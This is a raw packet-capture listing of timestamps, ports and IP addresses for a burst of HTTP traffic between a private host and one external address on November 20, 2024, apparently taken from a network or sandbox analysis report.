Nov 20, 2024 07:48:21.213752031 CET	49723	80	192.168.2.4	93.184.221.240
Nov 20, 2024 07:48:21.243339062 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:21.272964954 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273041010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273097992 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273154974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273206949 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273258924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273262024 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.273262024 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.273294926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273298979 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.273348093 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273360968 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.273382902 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273433924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273462057 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.273484945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273538113 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273565054 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.273577929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273608923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.273614883 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273643017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.273648977 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273678064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273680925 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.273711920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273730040 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.273763895 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273797035 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.273798943 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273830891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.273842096 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273870945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.273888111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273938894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273967981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.273969889 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274018049 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274049997 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274051905 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274081945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274107933 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274136066 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274167061 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274174929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274209023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274240017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274246931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274298906 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274329901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274333954 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274368048 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274396896 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274401903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274454117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274482012 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274504900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274544954 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274571896 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274578094 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274611950 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274640083 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274645090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274677992 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274718046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274729013 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274729013 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274770975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274799109 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274805069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274837971 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274867058 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274872065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274905920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274933100 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.274939060 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.274972916 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275001049 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275007010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275041103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275068045 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275074005 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275124073 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275156975 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275157928 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275193930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275223017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275228024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275262117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275288105 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275295019 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275355101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275384903 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275388956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275422096 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275450945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275456905 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275490046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275516987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275522947 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275557041 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275583982 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275590897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275624990 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275675058 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275677919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275712013 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275738955 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275746107 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275774956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275809050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275830030 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275830030 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275842905 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275872946 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275876045 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275909901 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275938034 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275944948 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.275973082 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.275978088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276010036 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276011944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276041031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276047945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276078939 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276081085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276115894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276144028 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276149035 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276185036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276213884 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276216984 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276252031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276281118 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276284933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276319027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276345968 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276350021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276384115 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276412010 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276417971 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276456118 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276483059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276489019 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276523113 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276532888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276556015 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276585102 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276591063 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276618958 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276623011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276648998 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276659012 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276685953 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276690960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276725054 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276751041 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276752949 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276787043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276813984 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276819944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276853085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276880026 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276885986 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276918888 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276949883 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.276957989 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.276990891 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.277018070 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.277025938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.277059078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.277087927 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.277096987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.277132988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.277162075 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.277165890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.277199030 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.277229071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.277235031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.277261972 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.277262926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.277291059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.277498007 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361469030 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361486912 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361511946 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361527920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361545086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361557007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361572981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361582041 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361582994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361589909 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361605883 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361613989 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361620903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361638069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361646891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361654043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361660957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361670017 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361684084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361695051 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361699104 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361706018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361725092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361751080 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361752987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361752987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361764908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361778021 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361792088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361809015 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361814976 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361824036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361835003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361835003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361840010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361861944 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.361922979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.361949921 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362005949 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362008095 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362021923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362081051 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362081051 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362144947 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362169027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362184048 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362195969 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362199068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362215042 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362229109 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362237930 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362243891 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362252951 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362258911 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362267971 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362276077 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362289906 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362298965 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362307072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362323999 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362349033 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362359047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362359047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362365007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362380028 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362397909 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362469912 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362483978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362493992 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362498045 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362513065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362536907 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362585068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362598896 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362612009 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362613916 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362629890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362637043 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362648964 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362656116 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362664938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362679958 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362689018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362694979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362720013 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362921000 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362948895 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362952948 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.362981081 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.362987041 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363082886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363112926 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363115072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363148928 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363176107 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363183022 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363217115 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363246918 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363269091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363302946 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363333941 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363356113 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363413095 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363413095 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363414049 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363466024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363481998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363490105 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363496065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363522053 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363537073 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363543987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363553047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363570929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363580942 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363580942 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363585949 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363600016 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363615990 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363624096 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363630056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363646984 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363656044 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363656044 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363671064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363696098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363697052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363713026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363723040 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363737106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363738060 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363751888 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363761902 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363766909 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363775015 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363781929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363791943 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363796949 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363811970 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363821983 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363830090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363841057 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363841057 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363845110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363861084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363869905 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363876104 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363886118 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363890886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363905907 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363910913 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363926888 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363930941 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363940954 CET	80	49753	62.204.41.163	192.168.2.4
